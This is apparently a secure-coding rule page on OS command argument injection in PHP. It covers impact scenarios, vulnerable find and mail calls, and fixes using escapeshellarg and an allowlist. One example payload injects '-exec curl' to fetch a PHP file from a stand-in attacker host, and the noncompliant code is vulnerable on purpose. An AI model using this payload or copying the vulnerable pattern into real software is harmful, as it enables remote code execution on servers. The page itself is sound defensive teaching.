Why is this an issue?
OS command argument injections occur when applications allow the execution of operating system commands from untrusted data but the untrusted data
is limited to the arguments.
It is not possible to directly inject arbitrary commands that compromise the underlying operating system, but the
behavior of the executed command still might be influenced in a way that allows to expand access, for example, execution of arbitrary commands. The
security of the application depends on the behavior of the application that is executed.
What is the potential impact?
An attacker exploiting an arguments injection vulnerability will be able to add arbitrary argument to a system binary call. Depending on the
command the parameters are added to, this might lead to arbitrary command execution.
The impact depends on the access control measures taken on the target system OS. In the worst-case scenario, the process runs with root privileges,
and therefore any OS commands or programs may be affected.
Below are some real-world scenarios that illustrate some impacts of an attacker exploiting the vulnerability.
Denial of service and data leaks
In this scenario, the attack aims to disrupt the organization’s activities and profit from data leaks.
An attacker could, for example:
- download the internal server’s data, most likely to sell it
- modify data, send malware
- stop services or exhaust resources (with fork bombs for example)
This threat is particularly insidious if the attacked organization does not maintain a disaster recovery plan (DRP).
Root privilege escalation and pivot
In this scenario, the attacker can do everything described in the previous section. The difference is that the attacker also manages to elevate
their privileges to an administrative level and attacks other servers.
Here, the impact depends on how much the target company focuses on its Defense In Depth. For example, the entire infrastructure can be compromised
by a combination of OS injections and misconfiguration of:
- Docker or Kubernetes clusters
- cloud services
- network firewalls and routing
- OS access control
How to fix it in Core PHP
Code examples
The following code uses the find command and expects the user to enter the name of a file to find on the system.
It is vulnerable to argument injection because untrusted data is inserted in the arguments of a process call without prior validation or
sanitization.
Here, the application ignores that a user-submitted parameter might contain special characters that will tamper with the expected
system command behavior.
In this particular case, an attacker might add arbitrary arguments to the find command for malicious purposes. For example, the
following payload will download malicious software on the application’s hosting server.
-exec curl -o /var/www/html/ http://evil.example.org/malicious.php ;
Other standard PHP functions are susceptible to the same vulnerable behavior. Especially, the mail function accepts, as its fifth
argument, parameters that will be appended to the configured mail-sending program command line. This might lead to a similar exploitation
scenario.
Noncompliant code example
$arg=$_GET['file'];
echo "<h1>File search results:</h1><br/>";
$cmd=escapeshellcmd('find /tmp/images -iname ' . $arg);
passthru($cmd);
$arg=$_GET['arg'];
echo "<h1>Sending test mail.</h1><br/>";
mail("mail@example.org", "example subject", "Example", [], $arg);
Compliant solution
$arg=$_GET['file'];
echo "<h1>File search results:</h1><br/>";
$cmd='find /tmp/images -iname ' . escapeshellarg($arg);
passthru($cmd);
$arg=$_GET['arg'];
echo "<h1>Sending test mail.</h1><br/>";
$allowed_args_mapping = ["-n","-v"];
if (! in_array($arg, $allowed_args_mapping, true)) {
$arg = "";
}
mail("mail@example.org", "example subject", "Example", [], $arg);
How does this work?
Allowing users to insert data in operating system commands generally creates more problems than it solves.
Anything that can be done via operating system commands can usually be done via a language’s native SDK.
Therefore, our suggestion is to avoid
using OS commands in the first place.
When building a system command from user-submitted data is unavoidable, using the escapeshellarg sanitizing function should be
preferred. It ensures that the provided data will be considered a single argument and prevents the injection of subsequent ones.
It is also important not to combine both escapeshellarg and escapeshellcmd. Indeed, a call to escapeshellcmd
on a complete command line will void any escaping previously added with escapeshellarg.
Therefore, it is impossible to prevent an argument injection issue in the mail function with escapeshellarg. Indeed,
mail internally relies on escapeshellcmd for escaping purposes. In that case, an allowlist of explicitly trusted additional
arguments should be used.
Resources
Documentation
Standards
